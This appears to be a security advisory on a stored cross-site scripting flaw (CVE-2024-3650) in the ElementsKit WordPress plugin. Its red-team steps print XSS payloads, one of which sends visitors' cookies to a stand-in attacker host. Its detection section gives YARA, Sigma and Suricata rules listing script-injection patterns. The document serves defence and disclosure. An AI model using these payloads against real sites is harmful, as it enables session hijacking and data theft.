CVE-2024-3650

Executive Summary

CVE-2024-3650 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress. The flaw resides in the Image Accordion widget and affects all versions from 3.0.7 through 3.1.2. Due to insufficient input sanitization and output escaping, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The ElementsKit plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for widespread impact on WordPress sites make this a significant concern.

Deep Dive & Mechanics

The vulnerability exists in the Image Accordion widget of the ElementsKit plugin. The widget allows users to create interactive image galleries with accordion-style expansion. The flaw occurs because user-supplied input (e.g., image titles, captions, or URLs) is not properly sanitized or escaped before being stored in the WordPress database and later rendered on the frontend.

Attack Flow:

1. An authenticated attacker with contributor-level access or higher creates or edits a page/post containing the Image Accordion widget.
2. The attacker injects malicious JavaScript code into a widget field (e.g., image title or caption).
3. The plugin stores the unsanitized input in the database.
4. When any user (including administrators) visits the page, the malicious script executes in their browser context.

Root Cause: The plugin uses echo or wp_kses with insufficiently restrictive allowed HTML tags, or fails to apply esc_html() or esc_attr() to output. This allows script tags or event handlers (e.g., onmouseover) to pass through.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In elementskit/widgets/image-accordion/image-accordion.php
echo '<h3>' . $settings['title'] . '</h3>';

Here, $settings['title'] is output directly without escaping.

Patched Code (Hypothetical):

echo '<h3>' . esc_html( $settings['title'] ) . '</h3>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with ElementsKit plugin version 3.0.7 to 3.1.2.
• Authenticated user with contributor-level access or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or post.
3. Add the ElementsKit Image Accordion widget.
4. In the image title field, inject the following payload:

   <img src=x onerror=alert('XSS')>
   

   Or a more sophisticated payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save and publish the page.
6. When an administrator or visitor views the page, the script executes.

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual JavaScript in page content, especially in widget fields.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable the Image Accordion widget until a patch is available.
• Restrict contributor-level access to trusted users only.
• Apply virtual patching via WAF.

Indicators of Compromise (IOCs)

• File Hashes: Check for modified plugin files, especially elementskit/widgets/image-accordion/image-accordion.php.
• Database Entries: Look for posts/pages containing suspicious JavaScript in post_content.
• Network Traffic: Outbound connections to unknown domains from the WordPress server.
• Logs: Unusual 404 errors or POST requests to wp-admin/admin-ajax.php with widget data.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in ElementsKit Image Accordion widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3650"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: ElementsKit Image Accordion XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts via ElementsKit Image Accordion widget
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=elementskit_ajax_handle'
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3650 ElementsKit XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementskit_ajax_handle"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Image Accordion widget by removing or renaming the plugin file elementskit/widgets/image-accordion/image-accordion.php.
2. Restrict user roles: Only grant contributor access to trusted users.
3. Apply virtual patching using a WAF to block XSS payloads.

Long-term Fix:

• Monitor the vendor for an official patch. If none is released, consider replacing the plugin with an alternative.
• Implement a Content Security Policy (CSP) that disallows inline scripts.
• Regularly audit WordPress plugins for vulnerabilities.

Workaround:

• Use a security plugin like Wordfence to add firewall rules.
• Manually patch the vulnerable file by adding esc_html() to all output fields.

Valters IT
Securing Digital Frontiers